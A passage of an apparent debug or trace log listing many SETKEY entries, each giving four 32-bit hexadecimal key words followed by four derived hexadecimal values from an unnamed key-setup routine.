50281F97;-[0]=ECACA12D,[1]=D3B5F3B5,[2]=20EAAD11,[3]=8C751853; +SETKEY:dwKeys[0] = 7A97D0CB, dwKeys[1] = C4707841, dwKeys[2] = D9625087, dwKeys[3] = BD595B2F;-[0]=0554BD69,[1]=3A4DEFF1,[2]=C912B155,[3]=658D0417; +SETKEY:dwKeys[0] = 4461A847, dwKeys[1] = 1BB2610D, dwKeys[2] = F5052644, dwKeys[3] = 6B63F82A;-[0]=D6141DEC,[1]=E90D4F74,[2]=1A5211D0,[3]=B6CDA492; +SETKEY:dwKeys[0] = C0B65D54, dwKeys[1] = 8929E321, dwKeys[2] = 74582A29, dwKeys[3] = 6C353921;-[0]=5152D094,[1]=6E4B820C,[2]=9D14DCA8,[3]=318B69EA; +SETKEY:dwKeys[0] = 0491DA54, dwKeys[1] = B3340636, dwKeys[2] = 965095D4, dwKeys[3] = 7144433B;-[0]=E5E4A713,[1]=DAFDF58B,[2]=29A2AB2F,[3]=853D1E6D; +SETKEY:dwKeys[0] = 5508AA67, dwKeys[1] = B1CF829F, dwKeys[2] = ECA517FE, dwKeys[3] = 8E058AF0;-[0]=717FCB38,[1]=4E6699A0,[2]=BD39C704,[3]=11A67246; +SETKEY:dwKeys[0] = D97C08DB, dwKeys[1] = 4EA35EFE, dwKeys[2] = 3D7E9C6D, dwKeys[3] = 4E0F5347;-[0]=5879E7B0,[1]=6760B528,[2]=943FEB8C,[3]=38A05ECE; +SETKEY:dwKeys[0] = BA2D69E9, dwKeys[1] = DC89217C, dwKeys[2] = 407B06A5, dwKeys[3] = 81907FE7;-[0]=45BEFB63,[1]=7AA7A9FB,[2]=89F8F75F,[3]=2567421D; +SETKEY:dwKeys[0] = FC9B70AC, dwKeys[1] = 8E8EAEB4, dwKeys[2] = 74889D95, dwKeys[3] = ACBD7CFF;-[0]=4D912D9B,[1]=72887F03,[2]=81D721A7,[3]=2D4894E5; +SETKEY:dwKeys[0] = 6C5E4DC4, dwKeys[1] = 62663D3E, dwKeys[2] = B2EBA20F, dwKeys[3] = ECB97FB5;-[0]=133E8F42,[1]=2C27DDDA,[2]=DF78837E,[3]=73E7363C; +SETKEY:dwKeys[0] = E1AE2B42, dwKeys[1] = 4DEEF1F2, dwKeys[2] = 3D41D406, dwKeys[3] = 9F531358;-[0]=C3F6B416,[1]=FCEFE68E,[2]=0FB0B82A,[3]=A32F0D68; +SETKEY:dwKeys[0] = 6C98648D, dwKeys[1] = 228BE904, dwKeys[2] = 9FF5509D, dwKeys[3] = 0E5B1DF5;-[0]=2C7086AA,[1]=1369D432,[2]=E0368A96,[3]=4CA93FD4; +SETKEY:dwKeys[0] = 20EAF346, dwKeys[1] = C028B2E4, dwKeys[2] = 9CB2C2AA, dwKeys[3] = E24DF6EF;-[0]=D4E20A7E,[1]=EBFB58E6,[2]=18A40642,[3]=B43BB300; +SETKEY:dwKeys[0] = 5963C157, dwKeys[1] = 3F69BD68, dwKeys[2] = 3F253778, dwKeys[3] = 94EB9C40;-[0]=4991E4A3,[1]=7688B63B,[2]=85D7E89F,[3]=29485DDD; +SETKEY:dwKeys[0] = 284B5C43, dwKeys[1] = 35E93C01, dwKeys[2] = A70EC115, dwKeys[3] = D354442B;-[0]=B3EE4155,[1]=8CF713CD,[2]=7FA84D69,[3]=D337F82B; +SETKEY:dwKeys[0] = D2DD45BB, dwKeys[1] = 522638D6, dwKeys[2] = 6EEBE040, dwKeys[3] = 459A9225;-[0]=A5923602,[1]=9A8B649A,[2]=69D43A3E,[3]=C54B8F7C; +SETKEY:dwKeys[0] = 35DD3415, dwKeys[1] = 40C63C96, dwKeys[2] = 80A0F199, dwKeys[3] = BEDA84B7;-[0]=FDE02FE8,[1]=C2F97D70,[2]=31A623D4,[3]=9D399696; +SETKEY:dwKeys[0] = 45886FCC, dwKeys[1] = B4372504, dwKeys[2] = C5901D5B, dwKeys[3] = 16F5F0A3;-[0]=F2651ECB,[1]=CD7C4C53,[2]=3E2312F7,[3]=92BCA7B5; +SETKEY:dwKeys[0] = BA025822, dwKeys[1] = 5A214A76, dwKeys[2] = 429533DB, dwKeys[3] = A4CAE763;-[0]=359FAB70,[1]=0A86F9E8,[2]=F9D9A74C,[3]=5546120E; +SETKEY:dwKeys[0] = EE8AD4BF, dwKeys[1] = 7F6DBB3B, dwKeys[2] = 26DF98CD, dwKeys[3] = 07B3A7BA;-[0]=2C549C7A,[1]=134DCEE2,[2]=E0129046,[3]=4C8D2504; +SETKEY:dwKeys[0] = 015E7253, dwKeys[1] = F822B8F5, dwKeys[2] = E9A9DE23, dwKeys[3] = 9C11796A;-[0]=3F04025E,[1]=001D50C6,[2]=F3420E62,[3]=5FDDBB20; +SETKEY:dwKeys[0] = 6886FF40, dwKeys[1] = E2FB6937, dwKeys[2] = 28B0C208, dwKeys[3] = 1B18C1AC;-[0]=38EE1198,[1]=07F74300,[2]=F4A81DA4,[3]=5837A8E6; +SETKEY:dwKeys[0] = 59760FF9, dwKeys[1] = 9DA91911, dwKeys[2] = FF896FA3, dwKeys[3] = 5BC2BE29;-[0]=30458DF0,[1]=0F5CDF68,[2]=FC0381CC,[3]=509C348E; +SETKEY:dwKeys[0] = 7C60C0C8, dwKeys[1] = 3425AD7F, dwKeys[2] = B3EB20D6, dwKeys[3] = 5305B986;-[0]=4941D906,[1]=76588B9E,[2]=8507D53A,[3]=29986078; +SETKEY:dwKeys[0] = 3155C0E2, dwKeys[1] = D3D59F42, dwKeys[2] = ADA6CA86, dwKeys[3] = 2B061CA9;-[0]=0CC41C99,[1]=33DD4E01,[2]=C08210A5,[3]=6C1DA5E7; +SETKEY:dwKeys[0] = 0A51C8EA, dwKeys[1] = 9F91C772, dwKeys[2] = A7D18AAC, dwKeys[3] = 7CD980D6;-[0]=6617C4D4,[1]=590E964C,[2]=AA51C8E8,[3]=06CE7DAA; +SETKEY:dwKeys[0] = ECD0A9BE, dwKeys[1] = 12D45B02, dwKeys[2] = 64AF4CDC, dwKeys[3] = 2C414DB0;-[0]=40CA057C,[1]=7FD357E4,[2]=8C8C0940,[3]=2013BC02; +SETKEY:dwKeys[0] = 8C302212, dwKeys[1] = 0849E603, dwKeys[2] = E01ED10F, dwKeys[3] = 029EBDB4;-[0]=45FD4289,[1]=7AE41011,[2]=89BB4EB5,[3]=2524FBF7; +SETKEY:dwKeys[0] = 49B9E984, dwKeys[1] = 5AA4E3D1, dwKeys[2] = 0B63ADAF, dwKeys[3] = 4D6AC4D6;-[0]=B79574EE,[1]=888C2676,[2]=7BD378D2,[3]=D74CCD90; +SETKEY:dwKeys[0] = 5B0875E4, dwKeys[1] = D03E8117, dwKeys[2] = D5894E2F, dwKeys[3] = 92CB0A7F;-[0]=7AE39F72,[1]=45FACDEA,[2]=B6A5934E,[3]=1A3A260C; +SETKEY:dwKeys[0] = 5AB59403, dwKeys[1] = EDE63BAB, dwKeys[2] = 31A80DC2, dwKeys[3] = C448CCFE;-[0]=BFAC8D08,[1]=80B5DF90,[2]=73EA8134,[3]=DF753476; +SETKEY:dwKeys[0] = 12E3CB5E, dwKeys[1] = 30DC8DFF, dwKeys[2] = E2EE2FB5, dwKeys[3] = FE396757;-[0]=FD6B8CD1,[1]=C272DE49,[2]=312D80ED,[3]=9DB235AF; +SETKEY:dwKeys[0] = 08A715B5, dwKeys[1] = 8389F2E6, dwKeys[2] = 345F00EE, dwKeys[3] = D9473628;-[0]=71C9ECB4,[1]=4ED0BE2C,[2]=BD8FE088,[3]=111055CA; +SETKEY:dwKeys[0] = E3CA2649, dwKeys[1] = FEBF4CD8, dwKeys[2] = 3EC19812, dwKeys[3] = F252F77A;-[0]=41C07EC5,[1]=7ED92C5D,[2]=8D8672F9,[3]=2119C7BB; +SETKEY:dwKeys[0] = 5F32F898, dwKeys[1] = 883B8543, dwKeys[2] = C25C25C8, dwKeys[3] = E16598CE;-[0]=F66E9774,[1]=C977C5EC,[2]=3A289B48,[3]=96B72E0A; +SETKEY:dwKeys[0] = D280915F, dwKeys[1] = F36EE491, dwKeys[2] = 4901B897, dwKeys[3] = D8B2BA99;-[0]=FCD41BD7,[1]=C3CD494F,[2]=309217EB,[3]=9C0DA2A9; +SETKEY:dwKeys[0] = 61CD9FB3, dwKeys[1] = 23D10A4C, dwKeys[2] = F53AFC4A, dwKeys[3] = 6E399FAF;-[0]=988DB621,[1]=A794E4B9,[2]=54CBBA1D,[3]=F8540F5F; +SETKEY:dwKeys[0] = 5BA724F9, dwKeys[1] = 1CC1667E, dwKeys[2] = 1B7337EE, dwKeys[3] = AEF158AA;-[0]=ECAB0BE7,[1]=D3B2597F,[2]=20ED07DB,[3]=8C72B299; +SETKEY:dwKeys[0] = C0F3F124, dwKeys[1] = 418A0FB9, dwKeys[2] = 541CCA51, dwKeys[3] = AA19A31E;-[0]=4A9B8353,[1]=7582D1CB,[2]=86DD8F6F,[3]=2A423A2D; +SETKEY:dwKeys[0] = A193F910, dwKeys[1] = 74EBAF9F, dwKeys[2] = F2B3804E, dwKeys[3] = 1F4118C3;-[0]=837B931F,[1]=BC62C187,[2]=4F3D9F23,[3]=E3A22A61; +SETKEY:dwKeys[0] = 447F2643, dwKeys[1] = 51DA3C87, dwKeys[2] = BD6AAFDC, dwKeys[3] = D3FC4F42;-[0]=626A39BC,[1]=5D736B24,[2]=AE2C3580,[3]=02B380C2; +SETKEY:dwKeys[0] = 9C3169D4, dwKeys[1] = 88BD9258, dwKeys[2] = 89EECA5C, dwKeys[3] = 6C22E38A;-[0]=6343634C,[1]=5C5A31D4,[2]=AF056F70,[3]=039ADA32; +SETKEY:dwKeys[0] = 7F9B92D6, dwKeys[1] = B5E10323, dwKeys[2] = 2FD77F57, dwKeys[3] = E27B8A31;-[0]=28D154D5,[1]=17C8064D,[2]=E49758E9,[3]=4808EDAB; +SETKEY:dwKeys[0] = E41C00AF, dwKeys[1] = 20C0B871, dwKeys[2] = 5A6A2934, dwKeys[3] = CA954FFF;-[0]=4633FBBE,[1]=792AA926,[2]=8A75F782,[3]=26EA42C0; +SETKEY:dwKeys[0] = 88A4987D, dwKeys[1] = BBD49377, dwKeys[2] = 47B90855, dwKeys[3] = 75C90B1D;-[0]=37354A93,[1]=082C180B,[2]=FB7346AF,[3]=57ECF3ED; +SETKEY:dwKeys[0] = 3CF9DFE9, dwKeys[1] = 6FEA0073, dwKeys[2] = F179B318, dwKeys[3] = AAF3F191;-[0]=EC6B6B1C,[1]=D3723984,[2]=202D6720,[3]=8CB2D262; +SETKEY:dwKeys[0] = 33C9A486, dwKeys[1] = 51EAF1FF, dwKeys[2] = 7DAE3719, dwKeys[3] = 2105EC00;-[0]=E551DE5F,[1]=DA488CC7,[2]=2917D263,[3]=85886721; +SETKEY:dwKeys[0] = A7B3A94E, dwKeys[1] = 03160BEF, dwKeys[2] = FCEAAA45, dwKeys[3] = 59D4C052;-[0]=402A2956,[1]=7F337BCE,[2]=8C6C256A,[3]=20F39028; +SETKEY:dwKeys[0] = BA5F3041, dwKeys[1] = D8AED492, dwKeys[2] = 233AA30B, dwKeys[3] = 9147F23F;-[0]=0EEBDC0F,[1]=31F28E97,[2]=C2ADD033,[3]=6E326571; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 010C1C01, dwKeys[1] = C983C012, dwKeys[2] = 32D9DB50, dwKeys[3] = EE430E31;-[0]=6E767706,[1]=516F259E,[2]=A2307B3A,[3]=0EAFCE78; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = DA0D3B72, dwKeys[1] = F732E9EF, dwKeys[2] = 1F39482E, dwKeys[3] = EA3CDDC8;-[0]=C08F64FD,[1]=FF963665,[2]=0CC968C1,[3]=A056DD83; +SETKEY:dwKeys[0] = 71B6409B, dwKeys[1] = 400EC1F4, dwKeys[2] = 01625222, dwKeys[3] = 880324FA;-[0]=6B0BDA64,[1]=541288FC,[2]=A74DD658,[3]=0BD2631A; +SETKEY:dwKeys[0] = C7547FD3, dwKeys[1] = 690BFD7F, dwKeys[2] = A5825A1E, dwKeys[3] = 402CE330;-[0]=A8416D97,[1]=97583F0F,[2]=640761AB,[3]=C898D4E9; +SETKEY:dwKeys[0] = A9B2F690, dwKeys[1] = C4AAE77B, dwKeys[2] = 44CE6CAE, dwKeys[3] = CA3CB8D0;-[0]=E9BF38C8,[1]=D6A66A50,[2]=25F934F4,[3]=896681B6; +SETKEY:dwKeys[0] = E32EBE48, dwKeys[1] = 20565D22, dwKeys[2] = 9E530496, dwKeys[3] = 8242E651;-[0]=761AD64D,[1]=490384D5,[2]=BA5CDA71,[3]=16C36F33; +SETKEY:dwKeys[0] = 96C4A97E, dwKeys[1] = 21CBED08, dwKeys[2] = 59E795DF, dwKeys[3] = B0EE234C;-[0]=40B33299,[1]=7FAA6001,[2]=8CF53EA5,[3]=206A8BE7; +SETKEY:dwKeys[0] = 34B8267B, dwKeys[1] = 94604877, dwKeys[2] = C8F97357, dwKeys[3] = CC245AA6;-[0]=BB9095CC,[1]=8489C754,[2]=77D699F0,[3]=DB492CB2; +SETKEY:dwKeys[0] = 5AFB20F3, dwKeys[1] = EE244847, dwKeys[2] = A62D3836, dwKeys[3] = 4E45360D;-[0]=A22385D1,[1]=9D3AD749,[2]=6E6589ED,[3]=C2FA3CAF; +SETKEY:dwKeys[0] = 40237D76, dwKeys[1] = A929254F, dwKeys[2] = 7D3DC26F, dwKeys[3] = 9BEB7E7F;-[0]=DBEFEB77,[1]=E4F6B9EF,[2]=17A9E74B,[3]=BB365209; +SETKEY:dwKeys[0] = 5D27E65F, dwKeys[1] = 362BBF26, dwKeys[2] = D426E9E6, dwKeys[3] = 568BD5BB;-[0]=6DE020BC,[1]=52F97224,[2]=A1A62C80,[3]=0D3999C2; +SETKEY:dwKeys[0] = 3070C8DF, dwKeys[1] = 7EC467EF, dwKeys[2] = 8F20BBAF, dwKeys[3] = 8444CF26;-[0]=465BB5CB,[1]=7942E753,[2]=8A1DB9F7,[3]=26820CB5; +SETKEY:dwKeys[0] = 779F0EBE, dwKeys[1] = 4212B052, dwKeys[2] = 3E5F5314, dwKeys[3] = 446FAB69;-[0]=2E2A8E56,[1]=1133DCCE,[2]=E26C826A,[3]=4EF33728; +SETKEY:dwKeys[0] = B89D1B47, dwKeys[1] = F7929FF7, dwKeys[2] = DA37E044, dwKeys[3] = 01065175;-[0]=BF4B421B,[1]=80521083,[2]=730D4E27,[3]=DF92FB65; +SETKEY:dwKeys[0] = E4505992, dwKeys[1] = E3CCF808, dwKeys[2] = 111193B7, dwKeys[3] = 2E3B0AA1;-[0]=86ED88EB,[1]=B9F4DA73,[2]=4AAB84D7,[3]=E6343195; +SETKEY:dwKeys[0] = 449A807E, dwKeys[1] = F9734E4C, dwKeys[2] = 82B51E8C, dwKeys[3] = A7742FE7;-[0]=8C814DA6,[1]=B3981F3E,[2]=40C7419A,[3]=EC58F4D8; +SETKEY:dwKeys[0] = DFA9F6B0, dwKeys[1] = 5D5C7E75, dwKeys[2] = ABCC0EBC, dwKeys[3] = E7EB647A;-[0]=CC0AEEAA,[1]=F313BC32,[2]=004CE296,[3]=ACD357D4; +SETKEY:dwKeys[0] = 536406BE, dwKeys[1] = EFB63A31, dwKeys[2] = 50BA3FE8, dwKeys[3] = 87CB27D1;-[0]=EAEC464F,[1]=D5F514D7,[2]=26AA4A73,[3]=8A35FF31; +SETKEY:dwKeys[0] = 591753E8, dwKeys[1] = F7F9BA9C, dwKeys[2] = C3EDDA4B, dwKeys[3] = E041E01F;-[0]=49A25362,[1]=76BB01FA,[2]=85E45F5E,[3]=297BEA1C; +SETKEY:dwKeys[0] = E1C6D9F0, dwKeys[1] = 453289DD, dwKeys[2] = E581ECBD, dwKeys[3] = 2A9C699E;-[0]=5A326009,[1]=652B3291,[2]=96746C35,[3]=3AEBD977; +SETKEY:dwKeys[0] = 01A79C1D, dwKeys[1] = 90C1035F, dwKeys[2] = 1798F5CC, dwKeys[3] = EE08C3F9;-[0]=8F454C0D,[1]=B05C1E95,[2]=43034031,[3]=EF9CF573; +SETKEY:dwKeys[0] = AD681A20, dwKeys[1] = F6AAAE22, dwKeys[2] = 8ADF82A5, dwKeys[3] = A8CCBC0D;-[0]=517BB3AA,[1]=6E62E132,[2]=9D3DBF96,[3]=31A20AD4; +SETKEY:dwKeys[0] = 9D8C1580, dwKeys[1] = 5DDC6536, dwKeys[2] = 6B1DD267, dwKeys[3] = 599AEFE2;-[0]=889B459E,[1]=B7821706,[2]=44DD49A2,[3]=E842FCE0; +SETKEY:dwKeys[0] = 815DFDCB, dwKeys[1] = 3C7A78F2, dwKeys[2] = 7E221009, dwKeys[3] = 1E0E7F58;-[0]=24DD293D,[1]=1BC47BA5,[2]=E89B2501,[3]=44049043; +SETKEY:dwKeys[0] = 456A4388, dwKeys[1] = B737B242, dwKeys[2] = 04851906, dwKeys[3] = CB12B3B8;-[0]=A9A00E49,[1]=96B95CD1,[2]=65E60275,[3]=C979B737; +SETKEY:dwKeys[0] = 09D2F75E, dwKeys[1] = BC121BB1, dwKeys[2] = F209B807, dwKeys[3] = C8DEDDF6;-[0]=701A9F2F,[1]=4F03CDB7,[2]=BC5C9313,[3]=10C32651; +SETKEY:dwKeys[0] = ECA010CB, dwKeys[1] = 2F869580, dwKeys[2] = EE46294A, dwKeys[3] = 3324D58E;-[0]=EEB24044,[1]=D1AB12DC,[2]=22F44C78,[3]=8E6BF93A; +SETKEY:dwKeys[0] = 6BE0231E, dwKeys[1] = AE251EE7, dwKeys[2] = 78CE77EF, dwKeys[3] = B971883B;-[0]=BD2D370E,[1]=82346596,[2]=716B3B32,[3]=DDF48E70; +SETKEY:dwKeys[0] = BEC118A1, dwKeys[1] = 6D365C37, dwKeys[2] = A7FFB2F4, dwKeys[3] = C134B508;-[0]=C7FFA85C,[1]=F8E6FAC4,[2]=0BB9A460,[3]=A7261122; +SETKEY:dwKeys[0] = 3A1EC1BD, dwKeys[1] = 26CE03D4, dwKeys[2] = 022E386A, dwKeys[3] = D6FE7486;-[0]=7359E1FF,[1]=4C40B367,[2]=BF1FEDC3,[3]=13805881; +SETKEY:dwKeys[0] = D9255ACF, dwKeys[1] = 2856AC37, dwKeys[2] = 3D43A324, dwKeys[3] = BD281497;-[0]=B6DADFEF,[1]=89C38D77,[2]=7A9CD3D3,[3]=D6036691; +SETKEY:dwKeys[0] = 3BC267E4, dwKeys[1] = 952DB272, dwKeys[2] = AFA37FC8, dwKeys[3] = 767B3528;-[0]=C30512ED,[1]=FC1C4075,[2]=0F431ED1,[3]=A3DCAB93; +SETKEY:dwKeys[0] = 16E9E2C3, dwKeys[1] = 84E2C8D5, dwKeys[2] = 68AE91F1, dwKeys[3] = 3A33EF81;-[0]=95438BB1,[1]=AA5AD929,[2]=5905878D,[3]=F59A32CF; +SETKEY:dwKeys[0] = 38148D75, dwKeys[1] = F48C56D7, dwKeys[2] = 5D44D78B, dwKeys[3] = CAFBCCFA;-[0]=F0C911E2,[1]=CFD0437A,[2]=3C8F1DDE,[3]=9010A89C; +SETKEY:dwKeys[0] = 0559AEE6, dwKeys[1] = 20D11C03, dwKeys[2] = 331596CD, dwKeys[3] = A82558BD;-[0]=7FA7AA4D,[1]=40BEF8D5,[2]=B3E1A671,[3]=1F7E1333; +SETKEY:dwKeys[0] = BB6408E8, dwKeys[1] = AF51347F, dwKeys[2] = EB251851, dwKeys[3] = 692C8AD6;-[0]=1D0CD64B,[1]=221584D3,[2]=D14ADA77,[3]=7DD56F35; +SETKEY:dwKeys[0] = FCB836B9, dwKeys[1] = 5636D2F4, dwKeys[2] = 433A9B0D, dwKeys[3] = 442FF05B;-[0]=C376B894,[1]=FC6FEA0C,[2]=0F30B4A8,[3]=A3AF01EA; +SETKEY:dwKeys[0] = 4CD9C280, dwKeys[1] = 696005E9, dwKeys[2] = 4A7C9A8F, dwKeys[3] = 5DAC642E;-[0]=9E3B0FD0,[1]=A1225D48,[2]=527D03EC,[3]=FEE2B6AE; +SETKEY:dwKeys[0] = 591580FA, dwKeys[1] = 2B0E0E59, dwKeys[2] = DDFCDEDD, dwKeys[3] = F5D070CC;-[0]=D0390D35,[1]=EF205FAD,[2]=1C7F0109,[3]=B0E0B44B; +SETKEY:dwKeys[0] = CA50873F, dwKeys[1] = A39FFAAF, dwKeys[2] = 0A0E7F79, dwKeys[3] = 29F2C457;-[0]=4BC4BDCD,[1]=74DDEF55,[2]=8782B1F1,[3]=2B1D04B3; +SETKEY:dwKeys[0] = 287C2A69, dwKeys[1] = 70771142, dwKeys[2] = B4774666, dwKeys[3] = 59EE68E6;-[0]=717DC2B1,[1]=4E649029,[2]=BD3BCE8D,[3]=11A47BCF; +SETKEY:dwKeys[0] = 4F37A5DE, dwKeys[1] = 02AD686F, dwKeys[2] = BAA1A7D8, dwKeys[3] = F36CFD5A;-[0]=759721EC,[1]=4A8E7374,[2]=B9D12DD0,[3]=154E9892; +SETKEY:dwKeys[0] = A0EB54FB, dwKeys[1] = CDF4756E, dwKeys[2] = 63C248FB, dwKeys[3] = B1015801;-[0]=AD31C4F0,[1]=92289668,[2]=6177C8CC,[3]=CDE87D8E; +SETKEY:dwKeys[0] = 9BD3561E, dwKeys[1] = 48FF4C9C, dwKeys[2] = EA6C94E4, dwKeys[3] = 6BA27C18;-[0]=EFF79FFE,[1]=D0EECD66,[2]=23B193C2,[3]=8F2E2680; +SETKEY:dwKeys[0] = 7D90BA6B, dwKeys[1] = AB0FD351, dwKeys[2] = D5D1D936, dwKeys[3] = 31CCB5E6;-[0]=0DBE1B0A,[1]=32A74992,[2]=C1F81736,[3]=6D67A274; +SETKEY:dwKeys[0] = 8B9E7FBD, dwKeys[1] = AF8884D7, dwKeys[2] = CCF83D1C, dwKeys[3] = 27B5A61C;-[0]=C9CAC089,[1]=F6D39211,[2]=058CCCB5,[3]=A91379F7; +SETKEY:dwKeys[0] = BEAE6781, dwKeys[1] = DE15F6D4, dwKeys[2] = 7404077A, dwKeys[3] = 7C1AD20F;-[0]=86A884ED,[1]=B9B1D675,[2]=4AEE88D1,[3]=E6713D93; +SETKEY:dwKeys[0] = 20CC9642, dwKeys[1] = 5FE38593, dwKeys[2] = 0473B47A, dwKeys[3] = A8789CB3;-[0]=6EA1F642,[1]=51B8A4DA,[2]=A2E7FA7E,[3]=0E784F3C; +SETKEY:dwKeys[0] = 995186A3, dwKeys[1] = 21B9FFB2, dwKeys[2] = B01AA6A9, dwKeys[3] = F524C935;-[0]=F14456C3,[1]=CE5D045B,[2]=3D025AFF,[3]=919DEFBD; +SETKEY:dwKeys[0] = A64DBBAA, dwKeys[1] = B8DB1066, dwKeys[2] = 85FC8C25, dwKeys[3] = DC27B9BD;-[0]=E211A73D,[1]=DD08F5A5,[2]=2E57AB01,[3]=82C81E43; +SETKEY:dwKeys[0] = A334CF36, dwKeys[1] = C4ABF0B8, dwKeys[2] = C86A281D, dwKeys[3] = FF7B8FA0;-[0]=E7CFDD6D,[1]=D8D68FF5,[2]=2B89D151,[3]=87166413; +SETKEY:dwKeys[0] = 88D7E1DD, dwKeys[1] = 0B1C2C2B, dwKeys[2] = 255CCC61, dwKeys[3] = D08949E1;-[0]=767B22C6,[1]=4962705E,[2]=BA3D2EFA,[3]=16A29BB8; +SETKEY:dwKeys[0] = D13F89FE, dwKeys[1] = A0AA0B6C, dwKeys[2] = EA108CF8, dwKeys[3] = D2D7728F;-[0]=65E0A6C2,[1]=5AF9F45A,[2]=A9A6AAFE,[3]=05391FBC; +SETKEY:dwKeys[0] = 1C9440F4, dwKeys[1] = 1F79AD77, dwKeys[2] = 37019363, dwKeys[3] = 35A04906;-[0]=29FAA82E,[1]=16E3FAB6,[2]=E5BCA412,[3]=49231150; +SETKEY:dwKeys[0] = F4963029, dwKeys[1] = 8EC62B2C, dwKeys[2] = 988E26D9, dwKeys[3] = E48D0681;-[0]=293F4DA2,[1]=16261F3A,[2]=E579419E,[3]=49E6F4DC; +SETKEY:dwKeys[0] = 395E10D0, dwKeys[1] = 4F52EF52, dwKeys[2] = AB1EBBC3, dwKeys[3] = 75A269E2;-[0]=D8F94DE1,[1]=E7E01F79,[2]=14BF41DD,[3]=B820F49F; +SETKEY:dwKeys[0] = F30CE6BB, dwKeys[1] = 3AFBEB99, dwKeys[2] = EE710487, dwKeys[3] = 0B9BEAF5;-[0]=7878DF0C,[1]=47618D94,[2]=B43ED330,[3]=18A16672; +SETKEY:dwKeys[0] = 294C1F01, dwKeys[1] = D654498F, dwKeys[2] = 2509F144, dwKeys[3] = 51368111;-[0]=7E0CC07F,[1]=411592E7,[2]=B24ACC43,[3]=1ED57901; +SETKEY:dwKeys[0] = C6217780, dwKeys[1] = 27A69091, dwKeys[2] = 7052C66D, dwKeys[3] = 6A298E89;-[0]=D311095A,[1]=EC085BC2,[2]=1F570566,[3]=B3C8B024; +SETKEY:dwKeys[0] = F9620EE0, dwKeys[1] = 91A83C7D, dwKeys[2] = D72AE54A, dwKeys[3] = 0159F309;-[0]=B82A6665,[1]=873334FD,[2]=746C6A59,[3]=D8F3DF1B; +SETKEY:dwKeys[0] = 23B4AED1, dwKeys[1] = 8DBB5B90, dwKeys[2] = 63366F35, dwKeys[3] = B3AFF5AA;-[0]=A8135D1D,[1]=970A0F85,[2]=64555121,[3]=C8CAE463; +SETKEY:dwKeys[0] = 9DEC2DC1, dwKeys[1] = AFCD22D4, dwKeys[2] = 68E712AE, dwKeys[3] = CA21DBBC;-[0]=3D09C4AC,[1]=02109634,[2]=F14FC890,[3]=5DD07DD2; +SETKEY:dwKeys[0] = 492FA3E0, dwKeys[1] = CEE637D4, dwKeys[2] = 9D4C7E47, dwKeys[3] = 54C88FCF;-[0]=596DF2E4,[1]=6674A07C,[2]=952BFED8,[3]=39B44B9A; +SETKEY:dwKeys[0] = F5AE3D48, dwKeys[1] = 021B7B40, dwKeys[2] = 40EC0A36, dwKeys[3] = 56022CE3;-[0]=C68A86C4,[1]=F993D45C,[2]=0ACC8AF8,[3]=A6533FBA; +SETKEY:dwKeys[0] = DAFF06D3, dwKeys[1] = 9AA03D87, dwKeys[2] = BFA49528, dwKeys[3] = CC40DEBD;-[0]=79C0C39B,[1]=46D99103,[2]=B586CFA7,[3]=19197AE5; +SETKEY:dwKeys[0] = A01A0828, dwKeys[1] = 60FA1A09, dwKeys[2] = 5071AEFA, dwKeys[3] = FC91BAA1;-[0]=448F4214,[1]=7B96108C,[2]=88C94E28,[3]=2456FB6A; +SETKEY:dwKeys[0] = 982ED023, dwKeys[1] = 5F299695, dwKeys[2] = C07EA4B6, dwKeys[3] = 3611ABFC;-[0]=921EEE0A,[1]=AD07BC92,[2]=5E58E236,[3]=F2C75774; +SETKEY:dwKeys[0] = 024867D9, dwKeys[1] = EB385C63, dwKeys[2] = EB4FCC4D, dwKeys[3] = F35416E6;-[0]=16BB851B,[1]=29A2D783,[2]=DAFD8927,[3]=76623C65; +SETKEY:dwKeys[0] = 6F0DD270, dwKeys[1] = D18D19FE, dwKeys[2] = D918408F, dwKeys[3] = 8443314E;-[0]=9132420D,[1]=AE2B1095,[2]=5D744E31,[3]=F1EBFB73; +SETKEY:dwKeys[0] = E4E386DB, dwKeys[1] = C359482D, dwKeys[2] = 3AFE8CD4, dwKeys[3] = E1A78FBC;-[0]=407A4733,[1]=7F6315AB,[2]=8C3C4B0F,[3]=20A3FE4D; +SETKEY:dwKeys[0] = 6F7F6554, dwKeys[1] = DE90DAE0, dwKeys[2] = A40951E7, dwKeys[3] = AF101F51;-[0]=ED13FA8B,[1]=D20AA813,[2]=2155F6B7,[3]=8DCA43F5; +SETKEY:dwKeys[0] = B609CE50, dwKeys[1] = ECF723E4, dwKeys[2] = E7F6039B, dwKeys[3] = 7DDD135E;-[0]=C6F68CCE,[1]=F9EFDE56,[2]=0AB080F2,[3]=A62F35B0; +SETKEY:dwKeys[0] = FC418EAC, dwKeys[1] = 16BAEB5D, dwKeys[2] = 4BF9E3E6, dwKeys[3] = 78347096;-[0]=DFCBE15E,[1]=E0D2B3C6,[2]=138DED62,[3]=BF125820; +SETKEY:dwKeys[0] = 037763E1, dwKeys[1] = 1570FE55, dwKeys[2] = 87244678, dwKeys[3] = 4A50F9F8;-[0]=53FEA6EB,[1]=6CE7F473,[2]=9FB8AAD7,[3]=33271F95; +SETKEY:dwKeys[0] = 97E7D13B, dwKeys[1] = EFAC3E28, dwKeys[2] = DDEF2261, dwKeys[3] = B05D3A45;-[0]=01BD6B9C,[1]=3EA43904,[2]=CDFB67A0,[3]=6164D2E2; +SETKEY:dwKeys[0] = F4F5BF26, dwKeys[1] = 04F358CE, dwKeys[2] = 335BFA84, dwKeys[3] = F0537EB8;-[0]=5949842D,[1]=6650D6B5,[2]=950F8811,[3]=39903D53; +SETKEY:dwKeys[0] = EB9BD955, dwKeys[1] = EFB6BAD6, dwKeys[2] = 0C7F434A, dwKeys[3] = 3F55CDF9;-[0]=673C1F3D,[1]=58254DA5,[2]=AB7A1301,[3]=07E5A643; +SETKEY:dwKeys[0] = 7674F4D9, dwKeys[1] = BDD9D76B, dwKeys[2] = 65ECC738, dwKeys[3] = 330274D2;-[0]=616D26D3,[1]=5E74744B,[2]=AD2B2AEF,[3]=01B49FAD; 